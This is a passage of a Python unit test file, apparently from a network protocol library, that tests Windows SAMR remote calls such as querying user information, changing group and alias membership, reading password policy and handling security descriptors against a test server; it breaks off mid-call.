samr.USER_INFORMATION_CLASS.UserPreferencesInformation\n        resp = dce.request(request)\n        resp.dump()\n        oldData = resp['Buffer']['Preferences']['UserComment']\n\n        req = samr.SamrSetInformationUser()\n        req['UserHandle'] = userHandle\n        req['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation\n        req['Buffer'] = resp['Buffer'] \n        req['Buffer']['Preferences']['UserComment'] = self.test_string\n        resp = dce.request(req)\n        resp.dump()\n\n        resp = dce.request(request)\n        resp.dump()\n\n        self.assertEqual(self.test_string, resp['Buffer']['Preferences']['UserComment'])\n\n        req['Buffer']['Preferences']['UserComment'] = oldData\n        resp = dce.request(req)\n        resp.dump()\n\n        # Get different user info classes\n        for user_info_class in [samr.USER_INFORMATION_CLASS.UserLogonInformation,\n                                samr.USER_INFORMATION_CLASS.UserLogonHoursInformation,\n                                samr.USER_INFORMATION_CLASS.UserAccountInformation,\n                                samr.USER_INFORMATION_CLASS.UserNameInformation,\n                                samr.USER_INFORMATION_CLASS.UserAccountNameInformation,\n\n                                samr.USER_INFORMATION_CLASS.UserFullNameInformation,\n                                samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation,\n                                samr.USER_INFORMATION_CLASS.UserHomeInformation,\n                                samr.USER_INFORMATION_CLASS.UserScriptInformation,\n                                samr.USER_INFORMATION_CLASS.UserProfileInformation,\n                                samr.USER_INFORMATION_CLASS.UserAdminCommentInformation,\n                                samr.USER_INFORMATION_CLASS.UserWorkStationsInformation,\n                                samr.USER_INFORMATION_CLASS.UserControlInformation,\n                                samr.USER_INFORMATION_CLASS.UserExpiresInformation,\n                                samr.USER_INFORMATION_CLASS.UserParametersInformation,\n                                samr.USER_INFORMATION_CLASS.UserAllInformation,\n                                ]:\n            request['UserInformationClass'] = user_info_class\n            dce.request(request)\n\n        # Get different user info classes that are internal\n        for internal_user_info_class in [samr.USER_INFORMATION_CLASS.UserInternal1Information,\n                                         samr.USER_INFORMATION_CLASS.UserInternal4Information,\n                                         samr.USER_INFORMATION_CLASS.UserInternal5Information,\n                                         samr.USER_INFORMATION_CLASS.UserInternal4InformationNew,\n                                         samr.USER_INFORMATION_CLASS.UserInternal5InformationNew\n                                         ]:\n            request['UserInformationClass'] = internal_user_info_class\n            with assertRaisesRegex(self, samr.DCERPCSessionError, \"STATUS_INVALID_INFO_CLASS\"):\n                dce.request(request)\n\n    def test_SamrAddMemberToGroup_SamrRemoveMemberFromGroup(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrConnect()\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['ServerName'] = self.server_name_string\n        resp = dce.request(request)\n        request = samr.SamrOpenGroup()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:\n                raise\n        request = samr.SamrRemoveMemberFromGroup()\n        request['GroupHandle'] = resp['GroupHandle']\n        request['MemberId'] = samr.DOMAIN_USER_RID_ADMIN\n        try:\n            resp2 = dce.request(request)\n            resp2.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MEMBERS_PRIMARY_GROUP') < 0:\n                raise\n        request = samr.SamrAddMemberToGroup()\n        request['GroupHandle'] = resp['GroupHandle']\n        request['MemberId'] = samr.DOMAIN_USER_RID_ADMIN\n        request['Attributes'] = samr.SE_GROUP_ENABLED_BY_DEFAULT\n        try:\n            resp2 = dce.request(request)\n            resp2.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MEMBER_IN_GROUP') < 0:\n                raise\n\n    def test_hSamrAddMemberToGroup_hSamrRemoveMemberFromGroup(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrConnect()\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['ServerName'] = self.server_name_string\n        resp = dce.request(request)\n        request = samr.SamrOpenGroup()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:\n                raise\n        try:\n            resp2 = samr.hSamrRemoveMemberFromGroup(dce, resp['GroupHandle'], samr.DOMAIN_USER_RID_ADMIN)\n            resp2.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MEMBERS_PRIMARY_GROUP') < 0:\n                raise\n        try:\n            resp2 = samr.hSamrAddMemberToGroup(dce, resp['GroupHandle'], samr.DOMAIN_USER_RID_ADMIN, samr.SE_GROUP_ENABLED_BY_DEFAULT)\n            resp2.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MEMBER_IN_GROUP') < 0:\n                raise\n\n    def test_SamrGetMembersInGroup(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrOpenGroup()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:\n                raise\n\n        request = samr.SamrGetMembersInGroup()\n        request['GroupHandle'] = resp['GroupHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrGetMembersInGroup(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrOpenGroup()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:\n                raise\n\n        resp = samr.hSamrGetMembersInGroup(dce, resp['GroupHandle'])\n        resp.dump()\n\n    def test_SamrGetMembersInAlias(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrEnumerateAliasesInDomain()\n        request['DomainHandle'] = domainHandle\n        request['EnumerationContext'] = 0\n        request['PreferedMaximumLength'] = 500\n        status = nt_errors.STATUS_MORE_ENTRIES\n        while status == nt_errors.STATUS_MORE_ENTRIES:\n            try:\n                resp4 = dce.request(request)\n            except samr.DCERPCSessionError as e:\n                if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                    raise \n                resp4 = e.get_packet()\n            resp4['Buffer'].dump()\n            request['EnumerationContext'] = resp4['EnumerationContext'] \n            status = resp4['ErrorCode']\n\n        request = samr.SamrOpenAlias()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['AliasId'] = resp4['Buffer']['Buffer'][0]['RelativeId']\n        resp = dce.request(request)\n        resp.dump()\n\n        request = samr.SamrGetMembersInAlias()\n        request['AliasHandle'] = resp['AliasHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrGetMembersInAlias(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrEnumerateAliasesInDomain()\n        request['DomainHandle'] = domainHandle\n        request['EnumerationContext'] = 0\n        request['PreferedMaximumLength'] = 500\n        status = nt_errors.STATUS_MORE_ENTRIES\n        while status == nt_errors.STATUS_MORE_ENTRIES:\n            try:\n                resp4 = dce.request(request)\n            except samr.DCERPCSessionError as e:\n                if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                    raise \n                resp4 = e.get_packet()\n            resp4['Buffer'].dump()\n            request['EnumerationContext'] = resp4['EnumerationContext'] \n            status = resp4['ErrorCode']\n\n        request = samr.SamrOpenAlias()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['AliasId'] = resp4['Buffer']['Buffer'][0]['RelativeId']\n        resp = dce.request(request)\n        resp.dump()\n\n        resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle'])\n        resp.dump()\n\n    def test_SamrAddMemberToAlias_SamrRemoveMemberFromAlias(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrCreateAliasInDomain()\n        request['DomainHandle'] = domainHandle\n        request['AccountName'] = self.test_group\n        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE\n\n        resp = dce.request(request)\n        aliasHandle = resp['AliasHandle']\n        relativeId = resp['RelativeId']\n        resp.dump()\n\n        request = samr.SamrRidToSid()\n        request['ObjectHandle'] = domainHandle\n        request['Rid'] = relativeId\n        resp3 = dce.request(request)\n        resp3.dump()\n\n        # Let's extract the SID and remove the RID from one entry\n        sp = resp3['Sid'].formatCanonical()\n        domainID = '-'.join(sp.split('-')[:-1])\n        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN\n\n        sid = samr.RPC_SID()\n        sid.fromCanonical(adminSID)\n\n        request = samr.SamrAddMemberToAlias()\n        request['AliasHandle'] = aliasHandle\n        request['MemberId'] = sid\n        resp2 = dce.request(request)\n        resp2.dump()\n\n        request = samr.SamrRemoveMemberFromAlias()\n        request['AliasHandle'] = aliasHandle\n        request['MemberId'] = sid\n        resp2 = dce.request(request)\n        resp2.dump()\n\n        request = samr.SamrDeleteAlias()\n        request['AliasHandle'] = aliasHandle\n        dce.request(request)\n\n    def test_hSamrAddMemberToAlias_hSamrRemoveMemberFromAlias(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, self.test_group,  samr.GROUP_ALL_ACCESS | samr.DELETE)\n        resp.dump()\n        aliasHandle = resp['AliasHandle']\n        relativeId = resp['RelativeId']\n        resp.dump()\n\n        request = samr.SamrRidToSid()\n        request['ObjectHandle'] = domainHandle\n        request['Rid'] = relativeId\n        resp3 = dce.request(request)\n        resp3.dump()\n\n        # Let's extract the SID and remove the RID from one entry\n        sp = resp3['Sid'].formatCanonical()\n        domainID = '-'.join(sp.split('-')[:-1])\n        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN\n\n        sid = samr.RPC_SID()\n        sid.fromCanonical(adminSID)\n\n        resp2 = samr.hSamrAddMemberToAlias(dce, aliasHandle, sid)\n        resp2.dump()\n\n        resp2 = samr.hSamrRemoveMemberFromAlias(dce, aliasHandle, sid)\n        resp2.dump()\n\n        resp = samr.hSamrDeleteAlias(dce, aliasHandle)\n        resp.dump()\n\n    def test_SamrAddMultipleMembersToAlias_SamrRemoveMultipleMembersFromAliass(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrCreateAliasInDomain()\n        request['DomainHandle'] = domainHandle\n        request['AccountName'] = self.test_group\n        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE\n\n        resp = dce.request(request)\n        aliasHandle = resp['AliasHandle']\n        relativeId = resp['RelativeId']\n        resp.dump()\n\n        request = samr.SamrRidToSid()\n        request['ObjectHandle'] = domainHandle\n        request['Rid'] = relativeId\n        resp3 = dce.request(request)\n        resp3.dump()\n\n        # Let's extract the SID and remove the RID from one entry\n        sp = resp3['Sid'].formatCanonical()\n        domainID = '-'.join(sp.split('-')[:-1])\n        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN\n\n        sid = samr.RPC_SID()\n        sid.fromCanonical(adminSID)\n\n        sid = samr.RPC_SID()\n        sid.fromCanonical(adminSID)\n\n        guestSID = domainID + '-%d' % samr.DOMAIN_USER_RID_GUEST\n\n        sid1 = samr.RPC_SID()\n        sid1.fromCanonical(adminSID)\n\n        sid2 = samr.RPC_SID()\n        sid2.fromCanonical(guestSID)\n\n        si = samr.PSAMPR_SID_INFORMATION()\n        si['SidPointer'] = sid1\n\n        si2 = samr.PSAMPR_SID_INFORMATION()\n        si2['SidPointer'] = sid2\n\n        request = samr.SamrAddMultipleMembersToAlias()\n        request['AliasHandle'] = aliasHandle\n        request['MembersBuffer']['Count'] = 2\n        request['MembersBuffer']['Sids'].append(si)\n        request['MembersBuffer']['Sids'].append(si2)\n\n        resp2 = dce.request(request)\n        resp2.dump()\n\n        request = samr.SamrRemoveMultipleMembersFromAlias()\n        request['AliasHandle'] = resp['AliasHandle'] \n        request['MembersBuffer']['Count'] = 2\n        request['MembersBuffer']['Sids'].append(si)\n        request['MembersBuffer']['Sids'].append(si2)\n        resp2 = dce.request(request)\n        resp2.dump()\n\n        request = samr.SamrDeleteAlias()\n        request['AliasHandle'] = aliasHandle\n        dce.request(request)\n\n    def test_hSamrAddMultipleMembersToAlias_hSamrRemoveMultipleMembersFromAliass(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        #resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle)\n        #resp = samr.hSamrOpenAlias(dce, domainHandle, samr.DELETE, 1257)\n        #resp = samr.hSamrDeleteAlias(dce, resp['AliasHandle'])\n        resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, self.test_group, samr.GROUP_ALL_ACCESS | samr.DELETE)\n        aliasHandle = resp['AliasHandle']\n        relativeId = resp['RelativeId']\n        resp.dump()\n\n        request = samr.SamrRidToSid()\n        request['ObjectHandle'] = domainHandle\n        request['Rid'] = relativeId\n        resp3 = dce.request(request)\n        resp3.dump()\n\n        # Let's extract the SID and remove the RID from one entry\n        sp = resp3['Sid'].formatCanonical()\n        domainID = '-'.join(sp.split('-')[:-1])\n        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN\n\n        sid = samr.RPC_SID()\n        sid.fromCanonical(adminSID)\n\n        sid = samr.RPC_SID()\n        sid.fromCanonical(adminSID)\n\n        guestSID = domainID + '-%d' % samr.DOMAIN_USER_RID_GUEST\n\n        sid1 = samr.RPC_SID()\n        sid1.fromCanonical(adminSID)\n\n        sid2 = samr.RPC_SID()\n        sid2.fromCanonical(guestSID)\n\n        si = samr.PSAMPR_SID_INFORMATION()\n        si['SidPointer'] = sid1\n\n        si2 = samr.PSAMPR_SID_INFORMATION()\n        si2['SidPointer'] = sid2\n\n        sidArray = samr.SAMPR_PSID_ARRAY()\n        sidArray['Sids'].append(si)\n        sidArray['Sids'].append(si2)\n\n        resp = samr.hSamrAddMultipleMembersToAlias(dce, aliasHandle, sidArray)\n        resp.dump()\n\n        resp = samr.hSamrRemoveMultipleMembersFromAlias(dce, aliasHandle, sidArray)\n        resp.dump()\n\n        request = samr.SamrDeleteAlias()\n        request['AliasHandle'] = aliasHandle\n        dce.request(request)\n\n    def test_SamrRemoveMemberFromForeignDomain(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        request = samr.SamrCreateAliasInDomain()\n        request['DomainHandle'] = domainHandle\n        request['AccountName'] = self.test_group\n        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE\n\n        resp = dce.request(request)\n        aliasHandle = resp['AliasHandle']\n        relativeId = resp['RelativeId']\n        resp.dump()\n\n        request = samr.SamrRidToSid()\n        request['ObjectHandle'] = domainHandle\n        request['Rid'] = relativeId\n        resp3 = dce.request(request)\n        resp3.dump()\n\n        # Let's extract the SID and remove the RID from one entry\n        sp = resp3['Sid'].formatCanonical()\n        domainID = '-'.join(sp.split('-')[:-1])\n        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN\n\n        request = samr.SamrRemoveMemberFromForeignDomain()\n        request['DomainHandle'] = domainHandle\n        request['MemberSid'].fromCanonical(adminSID)\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_SPECIAL_ACCOUNT') < 0:\n                raise\n\n        request = samr.SamrDeleteAlias()\n        request['AliasHandle'] = aliasHandle\n        dce.request(request)\n\n    def test_hSamrRemoveMemberFromForeignDomain(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrCreateAliasInDomain()\n        request['DomainHandle'] = domainHandle\n        request['AccountName'] = self.test_group\n        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE\n\n        resp = dce.request(request)\n        aliasHandle = resp['AliasHandle']\n        relativeId = resp['RelativeId']\n        resp.dump()\n\n        request = samr.SamrRidToSid()\n        request['ObjectHandle'] = domainHandle\n        request['Rid'] = relativeId\n        resp3 = dce.request(request)\n        resp3.dump()\n\n        # Let's extract the SID and remove the RID from one entry\n        sp = resp3['Sid'].formatCanonical()\n        domainID = '-'.join(sp.split('-')[:-1])\n        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN\n        sid = samr.RPC_SID()\n        sid.fromCanonical(adminSID)\n        try:\n            resp = samr.hSamrRemoveMemberFromForeignDomain(dce, domainHandle, sid)\n            resp = dce.request(request)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_SPECIAL_ACCOUNT') < 0:\n                raise\n\n        request = samr.SamrDeleteAlias()\n        request['AliasHandle'] = aliasHandle\n        dce.request(request)\n\n    def test_SamrGetAliasMembership(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrCreateAliasInDomain()\n        request['DomainHandle'] = domainHandle\n        request['AccountName'] = self.test_group\n        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE\n\n        resp = dce.request(request)\n        aliasHandle = resp['AliasHandle']\n        relativeId = resp['RelativeId']\n        resp.dump()\n\n        request = samr.SamrRidToSid()\n        request['ObjectHandle'] = domainHandle\n        request['Rid'] = relativeId\n        resp3 = dce.request(request)\n        resp3.dump()\n\n        # Let's extract the SID and remove the RID from one entry\n        sp = resp3['Sid'].formatCanonical()\n        domainID = '-'.join(sp.split('-')[:-1])\n        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN\n\n        sid = samr.RPC_SID()\n        sid.fromCanonical(adminSID)\n\n        guestSID = domainID + '-%d' % samr.DOMAIN_USER_RID_GUEST\n\n        sid1 = samr.RPC_SID()\n        sid1.fromCanonical(adminSID)\n\n        sid2 = samr.RPC_SID()\n        sid2.fromCanonical(guestSID)\n\n        si = samr.PSAMPR_SID_INFORMATION()\n        si['SidPointer'] = sid1\n\n        si2 = samr.PSAMPR_SID_INFORMATION()\n        si2['SidPointer'] = sid2\n\n        request = samr.SamrGetAliasMembership()\n        request['DomainHandle'] = domainHandle\n        request['SidArray']['Count'] = 2\n        request['SidArray']['Sids'].append(si)\n        request['SidArray']['Sids'].append(si2)\n        resp = dce.request(request)\n        resp.dump()\n\n        request = samr.SamrDeleteAlias()\n        request['AliasHandle'] = aliasHandle\n        dce.request(request)\n\n    def test_hSamrGetAliasMembership(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        #resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle)\n        #resp = samr.hSamrOpenAlias(dce, domainHandle, samr.DELETE, 1268)\n        #resp = samr.hSamrDeleteAlias(dce, resp['AliasHandle'])\n\n        request = samr.SamrCreateAliasInDomain()\n        request['DomainHandle'] = domainHandle\n        request['AccountName'] = self.test_group\n        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE\n\n        resp = dce.request(request)\n        aliasHandle = resp['AliasHandle']\n        relativeId = resp['RelativeId']\n        resp.dump()\n\n        request = samr.SamrRidToSid()\n        request['ObjectHandle'] = domainHandle\n        request['Rid'] = relativeId\n        resp3 = dce.request(request)\n        resp3.dump()\n\n        # Let's extract the SID and remove the RID from one entry\n        sp = resp3['Sid'].formatCanonical()\n        domainID = '-'.join(sp.split('-')[:-1])\n        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN\n\n        sid = samr.RPC_SID()\n        sid.fromCanonical(adminSID)\n\n        guestSID = domainID + '-%d' % samr.DOMAIN_USER_RID_GUEST\n\n        sid1 = samr.RPC_SID()\n        sid1.fromCanonical(adminSID)\n\n        sid2 = samr.RPC_SID()\n        sid2.fromCanonical(guestSID)\n\n        si = samr.PSAMPR_SID_INFORMATION()\n        si['SidPointer'] = sid1\n\n        si2 = samr.PSAMPR_SID_INFORMATION()\n        si2['SidPointer'] = sid2\n\n        sidsArray = samr.SAMPR_PSID_ARRAY()\n        sidsArray['Sids'].append(si)\n        sidsArray['Sids'].append(si2)\n\n        try:\n            resp = samr.hSamrGetAliasMembership(dce, domainHandle, sidsArray)\n            resp.dump()\n        except Exception:\n            request = samr.SamrDeleteAlias()\n            request['AliasHandle'] = aliasHandle\n            dce.request(request)\n            raise\n\n        request = samr.SamrDeleteAlias()\n        request['AliasHandle'] = aliasHandle\n        dce.request(request)\n\n    def test_SamrSetMemberAttributesOfGroup(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrConnect()\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['ServerName'] = self.server_name_string\n        dce.request(request)\n        request = samr.SamrOpenGroup()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS\n        resp = dce.request(request)\n\n        request = samr.SamrSetMemberAttributesOfGroup()\n        request['GroupHandle'] = resp['GroupHandle']\n        request['MemberId'] = samr.DOMAIN_USER_RID_ADMIN\n        request['Attributes'] = samr.SE_GROUP_ENABLED_BY_DEFAULT\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrSetMemberAttributesOfGroup(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrConnect()\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['ServerName'] = self.server_name_string\n        dce.request(request)\n        request = samr.SamrOpenGroup()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS\n        resp = dce.request(request)\n\n        resp = samr.hSamrSetMemberAttributesOfGroup(dce, resp['GroupHandle'], samr.DOMAIN_USER_RID_ADMIN, samr.SE_GROUP_ENABLED_BY_DEFAULT)\n        resp.dump()\n\n    def test_SamrGetUserDomainPasswordInformation(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrOpenUser()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT\n        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN\n        resp = dce.request(request)\n\n        request = samr.SamrGetUserDomainPasswordInformation()\n        request['UserHandle'] = resp['UserHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrGetUserDomainPasswordInformation(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrOpenUser()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT\n        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN\n        resp = dce.request(request)\n\n        resp = samr.hSamrGetUserDomainPasswordInformation(dce, resp['UserHandle'])\n        resp.dump()\n\n    def test_SamrGetDomainPasswordInformation(self):\n        dce, rpc_transport = self.connect()\n        request = samr.SamrGetDomainPasswordInformation()\n        request['Unused'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrGetDomainPasswordInformation(self):\n        dce, rpc_transport = self.connect()\n        resp = samr.hSamrGetDomainPasswordInformation(dce)\n        resp.dump()\n\n    def test_SamrRidToSid(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrRidToSid()\n        request['ObjectHandle'] = domainHandle\n        request['Rid'] = samr.DOMAIN_USER_RID_ADMIN\n        dce.request(request)\n\n    def test_hSamrRidToSid(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        resp = samr.hSamrRidToSid(dce, domainHandle, samr.DOMAIN_USER_RID_ADMIN)\n        resp.dump()\n\n    def test_SamrSetDSRMPassword(self):\n        dce, rpc_transport = self.connect()\n        request = samr.SamrSetDSRMPassword()\n        request['Unused'] = NULL\n        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN\n        request['EncryptedNtOwfPassword'] = '\\x00'*16\n        # calls made to SamrSetDSRMPassword using NCACN_IP_TCP are rejected with RPC_S_ACCESS_DENIED.\n        try:\n            dce.request(request)\n        except Exception as e:\n            if self.protocol == 'ncacn_ip_tcp':\n                if str(e).find('rpc_s_access_denied') < 0:\n                    raise\n            elif str(e).find('STATUS_NOT_SUPPORTED') < 0:\n                raise\n\n    def test_SamrValidatePassword(self):\n        dce, rpc_transport = self.connect()\n        request = samr.SamrValidatePassword()\n        request['ValidationType'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset\n        request['InputArg']['tag'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset\n        request['InputArg']['ValidatePasswordResetInput']['InputPersistedFields']['PresentFields'] = samr.SAM_VALIDATE_PASSWORD_HISTORY\n        request['InputArg']['ValidatePasswordResetInput']['InputPersistedFields']['PasswordHistory'] = NULL\n        request['InputArg']['ValidatePasswordResetInput']['ClearPassword'] = 'AAAAAAAAAAAAAAAA'\n        request['InputArg']['ValidatePasswordResetInput']['UserAccountName'] = 'Administrator'\n        kk = samr.SamrValidatePassword()\n        kk.fromString(request.getData())\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('rpc_s_access_denied') < 0:\n                raise\n\n    def test_hSamrValidatePassword(self):\n        dce, rpc_transport = self.connect()\n        inputArg = samr.SAM_VALIDATE_INPUT_ARG()\n        inputArg['tag'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset\n        inputArg['ValidatePasswordResetInput']['InputPersistedFields']['PresentFields'] = samr.SAM_VALIDATE_PASSWORD_HISTORY\n        inputArg['ValidatePasswordResetInput']['InputPersistedFields']['PasswordHistory'] = NULL\n        inputArg['ValidatePasswordResetInput']['ClearPassword'] = 'AAAAAAAAAAAAAAAA'\n        inputArg['ValidatePasswordResetInput']['UserAccountName'] = 'Administrator'\n        try:\n            resp = samr.hSamrValidatePassword(dce, inputArg)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('rpc_s_access_denied') < 0:\n                raise\n\n    def test_SamrQuerySecurityObject(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrQuerySecurityObject()\n        request['ObjectHandle'] = domainHandle\n        request['SecurityInformation'] = dtypes.OWNER_SECURITY_INFORMATION | dtypes.GROUP_SECURITY_INFORMATION | dtypes.SACL_SECURITY_INFORMATION | dtypes.DACL_SECURITY_INFORMATION\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrQuerySecurityObject(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        resp = samr.hSamrQuerySecurityObject(dce, domainHandle,\n                                             dtypes.OWNER_SECURITY_INFORMATION | dtypes.GROUP_SECURITY_INFORMATION | dtypes.SACL_SECURITY_INFORMATION | dtypes.DACL_SECURITY_INFORMATION)\n        resp.dump()\n\n    def test_SamrSetSecurityObject(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.username,))\n        resp.dump()\n\n        resp = samr.hSamrOpenUser(dce, domainHandle, samr.USER_ALL_ACCESS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION, resp['RelativeIds']['Element'][0]['Data'])\n        resp.dump()\n        userHandle = resp['UserHandle']\n        request = samr.SamrQuerySecurityObject()\n        request['ObjectHandle'] = userHandle\n        request['SecurityInformation'] = dtypes.GROUP_SECURITY_INFORMATION\n        resp = dce.request(request)\n        resp.dump()\n\n        request = samr.SamrSetSecurityObject()\n        request['ObjectHandle'] = userHandle\n        request['SecurityInformation'] = dtypes.GROUP_SECURITY_INFORMATION\n        request['SecurityDescriptor'] = resp['SecurityDescriptor'] \n\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_BAD_DESCRIPTOR_FORMAT') <= 0:\n                raise\n\n        resp = samr.hSamrCloseHandle(dce, userHandle)\n        resp.dump()\n\n    def test_hSamrSetSecurityObject(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.username,))\n        resp.dump()\n\n        resp = samr.hSamrOpenUser(dce, domainHandle, samr.USER_ALL_ACCESS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION, resp['RelativeIds']['Element'][0]['Data'])\n        resp.dump()\n        userHandle = resp['UserHandle']\n        resp = samr.hSamrQuerySecurityObject(dce, userHandle, dtypes.GROUP_SECURITY_INFORMATION)\n        resp.dump()\n\n        try:\n            resp = samr.hSamrSetSecurityObject(dce, userHandle, 